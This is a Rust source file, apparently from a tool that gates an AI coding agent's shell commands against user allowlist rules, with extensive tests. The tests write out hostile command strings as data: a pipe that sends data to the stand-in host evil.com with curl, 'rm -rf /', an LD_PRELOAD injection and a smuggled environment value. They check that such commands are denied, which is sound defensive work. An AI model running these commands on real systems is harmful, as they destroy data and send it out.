Skip to main content

safe_chains/
allowlist.rs

1use std::collections::HashSet;
2use std::path::Path;
3
4use crate::cst::{Cmd, check};
5
6pub struct Matcher {
7    exact: HashSet<String>,
8    globs: Vec<Vec<String>>,
9    /// `$HOME`, used to canonicalize `~/` on BOTH sides of a match. Empty disables it.
10    home: String,
11}
12
13/// Rewrite a leading `~/` in every word to the absolute home path, so the two spellings of one
14/// file compare equal.
15///
16/// A grant names a FILE. `Bash(~/runner-scripts/x.sh:*)` and `/Users/me/runner-scripts/x.sh` are
17/// the same script, and matching raw strings made the second fall through to a prompt while the
18/// first auto-approved — the calling-convention rule ("apply safety to the operation, not the
19/// syntax") applied to the user's own allowlist. Both sides go through this, so a rule written
20/// either way covers a command written either way.
21///
22/// Only a LEADING `~/`, and only in the home-relative sense:
23/// - `~user/…` is a DIFFERENT user's home and is left alone.
24/// - `$HOME/…` is left alone too. It is a variable, not a spelling of `~`, and this matcher's
25///   whole posture toward values it cannot pin is to match nothing rather than guess. A preceding
26///   `HOME=…` assignment already makes a command unmatchable via `normalize_for_matching`.
27fn canonicalize_home(text: &str, home: &str) -> String {
28    if home.is_empty() || home == "/" {
29        return text.to_string();
30    }
31    let home = home.strip_suffix('/').unwrap_or(home);
32    text.split(' ')
33        .map(|word| match word.strip_prefix("~/") {
34            Some(rest) => format!("{home}/{rest}"),
35            None if word == "~" => home.to_string(),
36            None => word.to_string(),
37        })
38        .collect::<Vec<_>>()
39        .join(" ")
40}
41
42impl Matcher {
43    /// Load allowlist patterns from trusted home config only
44    /// (`~/.claude/settings.json`). A project's `.claude/settings.json` is
45    /// intentionally not read: it lives in the working tree the agent edits, and
46    /// the harness applies its own project settings directly. See
47    /// `docs/design/trusted-customization.md`.
48    pub fn load() -> Self {
49        // Claude's OWN permission file, so it counts only when Claude is the harness being served.
50        // Loaded unconditionally, it granted commands under Codex and every other target — see
51        // `crate::trust_claude_config`.
52        match std::env::var_os("HOME").filter(|_| crate::claude_config_trusted()) {
53            Some(home) => Self::load_from_home(Path::new(&home)),
54            None => Matcher { exact: HashSet::new(), globs: Vec::new(), home: String::new() },
55        }
56    }
57
58    fn load_from_home(home: &Path) -> Self {
59        let mut patterns = Matcher { exact: HashSet::new(), globs: Vec::new(), home: home.to_string_lossy().into_owned() };
60        patterns.load_file(&home.join(".claude/settings.json"));
61        patterns
62    }
63
64    fn load_file(&mut self, path: &Path) {
65        let Ok(contents) = std::fs::read_to_string(path) else {
66            return;
67        };
68        let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
69            return;
70        };
71
72        if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
73            for entry in arr.iter().filter_map(|e| e.as_str()) {
74                self.add_pattern(entry);
75            }
76        }
77
78        if let Some(arr) = value.get("permissions").and_then(|v| v.get("allow")).and_then(|v| v.as_array()) {
79            for entry in arr.iter().filter_map(|e| e.as_str()) {
80                self.add_pattern(entry);
81            }
82        }
83    }
84
85    fn add_pattern(&mut self, entry: &str) {
86        let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
87            return;
88        };
89        if inner.is_empty() {
90            return;
91        }
92        let normalized = if let Some(prefix) = inner.strip_suffix(":*") { format!("{prefix} *") } else { inner.to_string() };
93        let normalized = canonicalize_home(&normalized, &self.home);
94        if normalized.contains('*') {
95            self.globs.push(normalized.split('*').map(String::from).collect());
96        } else {
97            self.exact.insert(normalized);
98        }
99    }
100
101    pub fn matches_cmd(&self, cmd: &Cmd) -> bool {
102        let Cmd::Simple(simple) = cmd else {
103            return false;
104        };
105        // `None` = no unambiguous rendering (an env value with whitespace); such a command matches
106        // no rule, rather than matching one it could be confused with.
107        let Some(normalized) = check::normalize_for_matching(simple) else {
108            return false;
109        };
110        let normalized = canonicalize_home(normalized.trim(), &self.home);
111        let normalized = normalized.as_str();
112        if normalized.is_empty() {
113            return false;
114        }
115        if self.exact.contains(normalized) {
116            return true;
117        }
118        self.globs.iter().any(|parts| glob_matches(parts, normalized))
119    }
120
121    pub fn is_empty(&self) -> bool {
122        self.exact.is_empty() && self.globs.is_empty()
123    }
124
125    #[cfg(test)]
126    pub(crate) fn from_allow_patterns(patterns: &[&str]) -> Self {
127        let mut m = Matcher { exact: HashSet::new(), globs: Vec::new(), home: TEST_HOME.to_string() };
128        for p in patterns {
129            m.add_pattern(&format!("Bash({p})"));
130        }
131        m
132    }
133}
134
135/// A fixed home for tests, so `~` canonicalization is exercised rather than skipped.
136#[cfg(test)]
137const TEST_HOME: &str = "/home/tester";
138
139pub fn is_cmd_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
140    match cmd {
141        Cmd::Simple(_) => check::is_safe_cmd(cmd) || (!check::has_unsafe_syntax(cmd) && patterns.matches_cmd(cmd)),
142        _ => check::is_safe_cmd(cmd),
143    }
144}
145
146fn glob_matches(parts: &[String], text: &str) -> bool {
147    let first = &parts[0];
148    let last = &parts[parts.len() - 1];
149
150    if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
151        let prefix = &first[..first.len() - 1];
152        return text == prefix || text.starts_with(first.as_str());
153    }
154
155    if !text.starts_with(first.as_str()) {
156        return false;
157    }
158    if !text.ends_with(last.as_str()) {
159        return false;
160    }
161    let mut pos = first.len();
162    let end = text.len() - last.len();
163    if pos > end {
164        return false;
165    }
166    for part in &parts[1..parts.len() - 1] {
167        match text[pos..end].find(part.as_str()) {
168            Some(idx) => pos += idx + part.len(),
169            None => return false,
170        }
171    }
172    pos <= end
173}
174
175#[cfg(test)]
176mod tests {
177    use super::*;
178    use std::fs;
179
180    use crate::cst;
181
182    fn empty() -> Matcher {
183        Matcher { exact: HashSet::new(), globs: Vec::new(), home: TEST_HOME.to_string() }
184    }
185
186    fn cmd(s: &str) -> Cmd {
187        let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
188        assert_eq!(script.0.len(), 1, "expected single statement: {s}");
189        assert_eq!(script.0[0].pipeline.commands.len(), 1, "expected single command: {s}");
190        script.0[0].pipeline.commands[0].clone()
191    }
192
193    fn segments(command: &str) -> Vec<Cmd> {
194        let script = cst::parse(command).unwrap_or_else(|| panic!("failed to parse: {command}"));
195        script.0.into_iter().flat_map(|stmt| stmt.pipeline.commands).collect()
196    }
197
198    fn is_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
199        is_cmd_covered(cmd, patterns)
200    }
201
202    fn all_covered(command: &str, patterns: &Matcher) -> bool {
203        let Some(script) = cst::parse(command) else {
204            return false;
205        };
206        script
207            .0
208            .iter()
209            .all(|stmt| check::is_safe_pipeline(&stmt.pipeline) || stmt.pipeline.commands.iter().all(|c| is_cmd_covered(c, patterns)))
210    }
211
212    #[test]
213    fn parse_exact_pattern() {
214        let mut p = empty();
215        p.add_pattern("Bash(npm test)");
216        assert!(p.exact.contains("npm test"));
217        assert!(p.globs.is_empty());
218        assert!(!p.is_empty(), "an exact pattern alone makes the matcher non-empty");
219    }
220
221    #[test]
222    fn parse_legacy_colon_star() {
223        let mut p = empty();
224        p.add_pattern("Bash(npm run:*)");
225        assert!(p.exact.is_empty());
226        assert_eq!(p.globs.len(), 1);
227        assert!(!p.is_empty(), "a glob pattern alone makes the matcher non-empty");
228    }
229
230    #[test]
231    fn parse_space_star() {
232        let mut p = empty();
233        p.add_pattern("Bash(npm run *)");
234        assert!(p.exact.is_empty());
235        assert_eq!(p.globs.len(), 1);
236    }
237
238    #[test]
239    fn parse_non_bash_skipped() {
240        let mut p = empty();
241        p.add_pattern("WebFetch");
242        p.add_pattern("XcodeBuildMCP");
243        assert!(p.is_empty());
244    }
245
246    #[test]
247    fn parse_empty_bash_skipped() {
248        let mut p = empty();
249        p.add_pattern("Bash()");
250        assert!(p.is_empty());
251    }
252
253    #[test]
254    fn match_exact() {
255        let mut p = empty();
256        p.add_pattern("Bash(npm test)");
257        assert!(p.matches_cmd(&cmd("npm test")));
258        assert!(!p.matches_cmd(&cmd("npm test --watch")));
259    }
260
261    #[test]
262    fn match_space_star_word_boundary() {
263        let mut p = empty();
264        p.add_pattern("Bash(ls *)");
265        assert!(p.matches_cmd(&cmd("ls -la")));
266        assert!(p.matches_cmd(&cmd("ls foo")));
267        assert!(!p.matches_cmd(&cmd("lsof")));
268    }
269
270    #[test]
271    fn match_star_no_space_no_boundary() {
272        let mut p = empty();
273        p.add_pattern("Bash(ls*)");
274        assert!(p.matches_cmd(&cmd("ls -la")));
275        assert!(p.matches_cmd(&cmd("lsof")));
276    }
277
278    #[test]
279    fn match_legacy_colon_star_word_boundary() {
280        let mut p = empty();
281        p.add_pattern("Bash(npm run:*)");
282        assert!(p.matches_cmd(&cmd("npm run build")));
283        assert!(p.matches_cmd(&cmd("npm run test")));
284        assert!(!p.matches_cmd(&cmd("npm running")));
285        assert!(!p.matches_cmd(&cmd("npm install")));
286    }
287
288    #[test]
289    fn match_star_at_beginning() {
290        let mut p = empty();
291        p.add_pattern("Bash(* --version)");
292        assert!(p.matches_cmd(&cmd("npm --version")));
293        assert!(p.matches_cmd(&cmd("cargo --version")));
294        assert!(!p.matches_cmd(&cmd("npm --help")));
295    }
296
297    #[test]
298    fn match_star_in_middle() {
299        let mut p = empty();
300        p.add_pattern("Bash(git * main)");
301        assert!(p.matches_cmd(&cmd("git checkout main")));
302        assert!(p.matches_cmd(&cmd("git merge main")));
303        assert!(!p.matches_cmd(&cmd("git checkout develop")));
304    }
305
306    /// REVERSED (2026-07-26). This previously asserted that the env prefix was STRIPPED, so
307    /// `Bash(bundle install)` also covered `RACK_ENV=test bundle install`. Convenient, but it means
308    /// a rule cannot distinguish forms the user needs distinguished: the same stripping made
309    /// `Bash(~/runner-scripts/x.sh:*)` cover `WRITE=1 ~/runner-scripts/x.sh`, pre-approving a
310    /// mutating run from a rule written for a dry one — and safe-chains answered `allow`, so the
311    /// harness never got to ask.
312    ///
313    /// The convenience is not lost: `RACK_ENV=test bundle install` still auto-approves, because
314    /// safe-chains knows `bundle install` on its own terms and never consults the user's rules for
315    /// it. What changed is only what a USER-WRITTEN rule covers, and now it covers what it says.
316    ///
317    /// Contrast `match_fd_redirect_stripped` below, which still strips: `2>&1` cannot change which
318    /// program runs or with what, so it does not make the invocation a different command.
319    #[test]
320    fn match_env_prefix_is_not_stripped() {
321        let mut p = empty();
322        p.add_pattern("Bash(bundle install)");
323        assert!(!p.matches_cmd(&cmd("RACK_ENV=test bundle install")));
324        assert!(p.matches_cmd(&cmd("bundle install")));
325
326        let mut q = empty();
327        q.add_pattern("Bash(RACK_ENV=test bundle install)");
328        assert!(q.matches_cmd(&cmd("RACK_ENV=test bundle install")));
329    }
330
331    #[test]
332    fn match_fd_redirect_stripped() {
333        let mut p = empty();
334        p.add_pattern("Bash(npm test)");
335        assert!(p.matches_cmd(&cmd("npm test 2>&1")));
336    }
337
338    #[test]
339    fn match_fd_redirect_with_glob() {
340        let mut p = empty();
341        p.add_pattern("Bash(npm run *)");
342        assert!(p.matches_cmd(&cmd("npm run test 2>&1")));
343    }
344
345    #[test]
346    fn empty_patterns_match_nothing() {
347        let p = empty();
348        assert!(!p.matches_cmd(&cmd("anything")));
349    }
350
351    #[test]
352    fn match_bare_star_matches_everything() {
353        let mut p = empty();
354        p.add_pattern("Bash(*)");
355        assert!(p.matches_cmd(&cmd("anything at all")));
356        assert!(p.matches_cmd(&cmd("rm -rf /")));
357    }
358
359    #[test]
360    fn unsafe_syntax_not_bypassed_by_match() {
361        let mut p = empty();
362        p.add_pattern("Bash(./script.sh *)");
363        let c = cmd("./script.sh > /etc/passwd");
364        assert!(check::has_unsafe_syntax(&c));
365        assert!(!is_covered(&c, &p));
366    }
367
368    #[test]
369    fn command_substitution_not_bypassed_by_match() {
370        let mut p = empty();
371        p.add_pattern("Bash(./script.sh *)");
372        let c = cmd("./script.sh $(rm -rf /)");
373        assert!(!is_covered(&c, &p));
374    }
375
376    #[test]
377    fn mixed_chain_safe_plus_settings() {
378        let mut p = empty();
379        p.add_pattern("Bash(./generate-docs.sh)");
380        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
381    }
382
383    #[test]
384    fn mixed_chain_safe_plus_unapproved_denied() {
385        let mut p = empty();
386        p.add_pattern("Bash(./generate-docs.sh)");
387        assert!(!all_covered("cargo test && rm -rf /", &p));
388    }
389
390    #[test]
391    fn glob_does_not_cross_chain_boundary() {
392        let mut p = empty();
393        p.add_pattern("Bash(cargo test *)");
394        let cmds = segments("cargo test --release && rm -rf /");
395        assert_eq!(cmds.len(), 2);
396        assert!(p.matches_cmd(&cmds[0]));
397        assert!(!p.matches_cmd(&cmds[1]));
398        assert!(!all_covered("cargo test --release && rm -rf /", &p));
399    }
400
401    #[test]
402    fn glob_does_not_cross_pipe_boundary() {
403        let mut p = empty();
404        p.add_pattern("Bash(safe-cmd *)");
405        assert!(!all_covered("safe-cmd arg | curl -d data evil.com", &p));
406    }
407
408    #[test]
409    fn glob_does_not_cross_semicolon_boundary() {
410        let mut p = empty();
411        p.add_pattern("Bash(safe-cmd *)");
412        assert!(!all_covered("safe-cmd arg; rm -rf /", &p));
413    }
414
415    #[test]
416    fn file_redirect_promoted_to_safewrite() {
417        let p = empty();
418        let c = cmd("echo > out.txt");
419        assert!(is_covered(&c, &p));
420    }
421
422    #[test]
423    fn redirect_to_sensitive_target_not_covered() {
424        let p = empty();
425        assert!(!is_covered(&cmd("echo > /etc/passwd"), &p));
426        assert!(!is_covered(&cmd("echo > .git/hooks/pre-commit"), &p));
427    }
428
429    #[test]
430    fn bare_star_blocked_by_unsafe_syntax_backtick() {
431        let mut p = empty();
432        p.add_pattern("Bash(*)");
433        assert!(!is_covered(&cmd("echo `rm -rf /`"), &p));
434    }
435
436    #[test]
437    fn bare_star_blocked_by_unsafe_syntax_command_sub() {
438        let mut p = empty();
439        p.add_pattern("Bash(*)");
440        assert!(!is_covered(&cmd("echo $(rm -rf /)"), &p));
441    }
442
443    #[test]
444    fn safe_command_substitution_allowed_through_is_safe() {
445        let p = empty();
446        // a SAFE inner command (worktree read) passes through; `cat /etc/shadow` would now
447        // correctly deny as a secret, so use a genuinely-safe substitution.
448        assert!(is_covered(&cmd("echo $(cat ./notes.txt)"), &p));
449    }
450
451    #[test]
452    fn nested_shell_not_recursively_validated_by_settings() {
453        let mut p = empty();
454        p.add_pattern("Bash(bash *)");
455        let c = cmd("bash -c 'safe-cmd && rm -rf /'");
456        assert!(!check::is_safe_cmd(&c));
457        assert!(!check::has_unsafe_syntax(&c));
458        assert!(is_covered(&c, &p));
459    }
460
461    #[test]
462    fn nested_shell_redirect_promoted_to_safewrite() {
463        let p = empty();
464        let c = cmd("bash -c 'echo hello' > /tmp/out");
465        assert!(is_covered(&c, &p));
466    }
467
468    #[test]
469    fn quoted_operators_stay_as_one_segment() {
470        let mut p = empty();
471        p.add_pattern("Bash(./script *)");
472        assert!(all_covered("./script 'arg && rm -rf /'", &p));
473    }
474
475    #[test]
476    fn load_from_home_reads_home_settings() {
477        let home = tempfile::tempdir().unwrap();
478        let claude_dir = home.path().join(".claude");
479        fs::create_dir_all(&claude_dir).unwrap();
480        fs::write(claude_dir.join("settings.json"), r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#).unwrap();
481        let p = Matcher::load_from_home(home.path());
482        assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
483        assert!(p.matches_cmd(&cmd("./generate-docs.sh --verbose")));
484        assert!(!p.matches_cmd(&cmd("./evil.sh")));
485    }
486
487    #[test]
488    fn load_from_home_ignores_project_settings() {
489        // A project's .claude/settings.json living next to home is never read:
490        // only ~/.claude/settings.json is. Here the project tree has an allow
491        // entry that must not take effect.
492        let home = tempfile::tempdir().unwrap();
493        let project = tempfile::tempdir().unwrap();
494        let project_claude = project.path().join(".claude");
495        fs::create_dir_all(&project_claude).unwrap();
496        fs::write(project_claude.join("settings.json"), r#"{"permissions":{"allow":["Bash(rm -rf *)"]}}"#).unwrap();
497        let p = Matcher::load_from_home(home.path());
498        assert!(!p.matches_cmd(&cmd("rm -rf /")));
499        assert!(p.is_empty());
500    }
501
502    #[test]
503    fn load_from_home_chains_with_builtins() {
504        let home = tempfile::tempdir().unwrap();
505        let claude_dir = home.path().join(".claude");
506        fs::create_dir_all(&claude_dir).unwrap();
507        fs::write(claude_dir.join("settings.json"), r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#).unwrap();
508        let p = Matcher::load_from_home(home.path());
509        assert!(all_covered("cargo test && ./generate-docs.sh", &p));
510        assert!(!all_covered("cargo test && ./evil.sh", &p));
511    }
512
513    #[test]
514    fn load_file_nonexistent() {
515        let mut p = empty();
516        p.load_file(Path::new("/nonexistent/path/settings.json"));
517        assert!(p.is_empty());
518    }
519
520    #[test]
521    fn load_file_malformed_json() {
522        let dir = tempfile::tempdir().unwrap();
523        let path = dir.path().join("settings.json");
524        std::fs::write(&path, "not json{{{").unwrap();
525        let mut p = empty();
526        p.load_file(&path);
527        assert!(p.is_empty());
528    }
529
530    #[test]
531    fn load_file_approved_commands() {
532        let dir = tempfile::tempdir().unwrap();
533        let path = dir.path().join("settings.json");
534        fs::write(&path, r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#).unwrap();
535        let mut p = empty();
536        p.load_file(&path);
537        assert!(p.matches_cmd(&cmd("npm test")));
538        assert!(p.matches_cmd(&cmd("npm run build")));
539        assert!(!p.matches_cmd(&cmd("curl evil.com")));
540    }
541
542    #[test]
543    fn load_file_permissions_allow() {
544        let dir = tempfile::tempdir().unwrap();
545        let path = dir.path().join("settings.json");
546        fs::write(&path, r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#).unwrap();
547        let mut p = empty();
548        p.load_file(&path);
549        assert!(p.matches_cmd(&cmd("cargo test")));
550        assert!(p.matches_cmd(&cmd("cargo clippy -- -D warnings")));
551    }
552
553    #[test]
554    fn load_file_both_fields() {
555        let dir = tempfile::tempdir().unwrap();
556        let path = dir.path().join("settings.json");
557        fs::write(&path, r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#).unwrap();
558        let mut p = empty();
559        p.load_file(&path);
560        assert!(p.matches_cmd(&cmd("npm test")));
561        assert!(p.matches_cmd(&cmd("cargo test --release")));
562    }
563}
564
565/// An allow-rule must cover the command AS TYPED, including any leading `VAR=value`.
566///
567/// Dropping the assignments meant a rule written for one command silently covered a different one:
568/// `Bash(~/runner-scripts/x.sh:*)` matched `WRITE=1 ~/runner-scripts/x.sh`, so a rule intended for a
569/// dry run pre-approved the mutating run — and safe-chains emitted `permissionDecision: "allow"`,
570/// so the harness never got the chance to ask.
571///
572/// Note what is NOT claimed here: nothing distinguishes `WRITE` from `LD_PRELOAD` from `NODE_ENV`,
573/// and no environment variable is researched. The only rule is that a pattern matches what it
574/// describes. That keeps this independent of the (unscoped) env-classification work in
575/// `docs/design/env-prefix-classification.md`.
576#[cfg(test)]
577mod env_prefix_matching_tests {
578    use super::*;
579    use crate::cst;
580
581    fn cmd(s: &str) -> Cmd {
582        let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
583        script.0[0].pipeline.commands[0].clone()
584    }
585
586    fn matcher(patterns: &[&str]) -> Matcher {
587        Matcher::from_allow_patterns(patterns)
588    }
589
590    #[test]
591    fn a_plain_command_still_matches_its_rule() {
592        let m = matcher(&["~/runner-scripts/x.sh:*"]);
593        assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
594        assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh --dry-run")));
595    }
596
597    /// A grant names a FILE, so the two spellings of that file are one grant. Matching raw strings
598    /// meant `~/runner-scripts/x.sh` auto-approved while the byte-identical script spelled
599    /// absolutely fell through to a prompt.
600    #[test]
601    fn a_home_grant_covers_both_spellings_of_the_same_file() {
602        for rule in ["~/runner-scripts/x.sh:*", "/home/tester/runner-scripts/x.sh:*"] {
603            let m = matcher(&[rule]);
604            for c in [
605                "~/runner-scripts/x.sh", "/home/tester/runner-scripts/x.sh", "~/runner-scripts/x.sh --dry-run",
606                "/home/tester/runner-scripts/x.sh --dry-run",
607            ] {
608                assert!(m.matches_cmd(&cmd(c)), "rule `{rule}` missed: {c}");
609            }
610        }
611    }
612
613    /// Canonicalization applies to EVERY word, not just the command name — the granted script is an
614    /// argument in the interpreter forms (`osascript -l JavaScript ~/runner-scripts/x.js`).
615    #[test]
616    fn a_home_grant_covers_both_spellings_in_an_argument() {
617        let m = matcher(&["osascript -l JavaScript ~/runner-scripts/x.js:*"]);
618        assert!(m.matches_cmd(&cmd("osascript -l JavaScript ~/runner-scripts/x.js --p safe-chains")));
619        assert!(m.matches_cmd(&cmd("osascript -l JavaScript /home/tester/runner-scripts/x.js --p safe-chains")));
620    }
621
622    /// `~user/` is somebody ELSE's home. Expanding it would let a rule for the agent's own file
623    /// cover a path it never named.
624    #[test]
625    fn another_users_home_is_not_expanded() {
626        let m = matcher(&["~/runner-scripts/x.sh:*"]);
627        assert!(!m.matches_cmd(&cmd("~root/runner-scripts/x.sh")));
628        assert!(!m.matches_cmd(&cmd("~other/runner-scripts/x.sh")));
629    }
630
631    /// `$HOME/` is a variable, not a spelling of `~`. The matcher's posture toward a value it
632    /// cannot pin is to match nothing rather than assume.
633    #[test]
634    fn a_home_variable_is_not_expanded() {
635        let m = matcher(&["~/runner-scripts/x.sh:*"]);
636        assert!(!m.matches_cmd(&cmd("$HOME/runner-scripts/x.sh")));
637    }
638
639    #[test]
640    fn an_env_prefix_does_not_match_a_rule_without_one() {
641        let m = matcher(&["~/runner-scripts/x.sh:*"]);
642        for c in [
643            "WRITE=1 ~/runner-scripts/x.sh", "WRITE=1 ~/runner-scripts/x.sh --project p", "PROJECT=p ~/runner-scripts/x.sh",
644            "LD_PRELOAD=/tmp/evil.so ~/runner-scripts/x.sh",
645        ] {
646            assert!(!m.matches_cmd(&cmd(c)), "rule without env matched: {c}");
647        }
648    }
649
650    #[test]
651    fn a_rule_that_declares_the_env_prefix_matches_it() {
652        // The form already in the user's settings for deliberately-approved mutations.
653        let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*", "~/runner-scripts/x.sh:*"]);
654        assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh")));
655        assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
656        assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
657        // ...but only THAT assignment; a different one is a different command.
658        assert!(!m.matches_cmd(&cmd("WRITE=0 ~/runner-scripts/x.sh")));
659        assert!(!m.matches_cmd(&cmd("DEBUG=1 ~/runner-scripts/x.sh")));
660    }
661
662    #[test]
663    fn every_assignment_must_be_accounted_for() {
664        let m = matcher(&["A=1 tool:*"]);
665        assert!(m.matches_cmd(&cmd("A=1 tool")));
666        // A second assignment the rule never mentioned makes it a different command.
667        assert!(!m.matches_cmd(&cmd("A=1 B=2 tool")));
668        assert!(!m.matches_cmd(&cmd("B=2 A=1 tool")));
669    }
670
671    #[test]
672    fn an_exact_rule_behaves_the_same_as_a_glob_rule() {
673        let exact = matcher(&["tool run"]);
674        assert!(exact.matches_cmd(&cmd("tool run")));
675        assert!(!exact.matches_cmd(&cmd("WRITE=1 tool run")));
676    }
677
678    /// An env VALUE containing whitespace has no unambiguous flat rendering, and assignments sit
679    /// BEFORE the program name — so a value that swallows the rest of a pattern would let a rule
680    /// for one program match a different one. This was live for a few minutes during development:
681    /// `Bash(WRITE=1 ~/runner-scripts/x.sh:*)` matched `WRITE='1 ~/runner-scripts/x.sh' rm -rf /`,
682    /// which runs `rm`. Such a command now matches nothing.
683    #[test]
684    fn a_value_containing_whitespace_matches_no_rule() {
685        let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*"]);
686        assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
687        assert!(
688            !m.matches_cmd(&cmd("WRITE='1 ~/runner-scripts/x.sh' rm -rf /")),
689            "a spaced value smuggled the pattern and matched a different program",
690        );
691
692        // Same shape without the glob: two different programs must not share a rendering.
693        let n = matcher(&["FOO=bar baz ls"]);
694        assert!(n.matches_cmd(&cmd("FOO=bar baz ls"))); // runs `baz`
695        assert!(!n.matches_cmd(&cmd("FOO='bar baz' ls"))); // runs `ls`
696    }
697
698    /// Quoted WORDS keep matching — `git commit -m 'a message'` is ordinary, and a quoted argument
699    /// cannot change which program runs, since the program is the first word either way. Only the
700    /// pre-program assignments are refused.
701    #[test]
702    fn a_quoted_word_still_matches() {
703        let m = matcher(&["git commit -m:*"]);
704        assert!(m.matches_cmd(&cmd("git commit -m 'a message with spaces'")));
705    }
706
707    /// The property, over every rule shape the matcher supports: if a command matches a rule, then
708    /// the same command with ANY assignment prepended must not — unless the rule declares it.
709    /// Stated generally so a future pattern form cannot reintroduce the hole for one spelling.
710    #[test]
711    fn prepending_any_assignment_breaks_a_match_the_rule_does_not_declare() {
712        let rules = ["tool", "tool:*", "tool sub", "tool sub:*", "~/runner-scripts/x.sh:*"];
713        let commands = ["tool", "tool sub", "tool sub --flag", "~/runner-scripts/x.sh --flag"];
714        let assignments = ["WRITE=1", "PROJECT=p", "LD_PRELOAD=/tmp/e.so", "A=1"];
715
716        let mut checked = 0;
717        for rule in rules {
718            let m = matcher(&[rule]);
719            for c in commands {
720                if !m.matches_cmd(&cmd(c)) {
721                    continue; // only meaningful where the bare command DOES match
722                }
723                for a in assignments {
724                    let prefixed = format!("{a} {c}");
725                    assert!(!m.matches_cmd(&cmd(&prefixed)), "rule `{rule}` matched `{prefixed}` without declaring `{a}`",);
726                    checked += 1;
727                }
728            }
729        }
730        assert!(checked > 0, "no rule/command pair matched — the property would be vacuous");
731    }
732
733    proptest::proptest! {
734        /// An empty or root HOME means there is no home to canonicalize to. Expanding `~/x`
735        /// against one produced `/x`, a different file, so a grant for either would cover both.
736        #[test]
737        fn without_a_usable_home_every_word_is_left_alone(
738            text in "[~]/[a-z]{0,8}( [~]?/?[a-z.]{0,10}){0,4}",
739            home in proptest::prop_oneof![proptest::strategy::Just(""), proptest::strategy::Just("/")],
740        ) {
741            proptest::prop_assert_eq!(canonicalize_home(&text, home), text);
742        }
743
744        /// A bare `~` and a leading `~/` both name the home directory, with or without a trailing
745        /// slash on HOME, so a grant spelled absolutely covers either.
746        #[test]
747        fn a_usable_home_expands_both_tilde_spellings(
748            home in "/[a-z]{1,8}(/[a-z]{1,8}){0,2}",
749            slash in proptest::bool::ANY,
750            rest in "[a-z.]{1,10}",
751        ) {
752            let given = if slash { format!("{home}/") } else { home.clone() };
753            let text = format!("ls ~ ~/{rest}");
754            proptest::prop_assert_eq!(canonicalize_home(&text, &given), format!("ls {home} {home}/{rest}"));
755        }
756    }
757}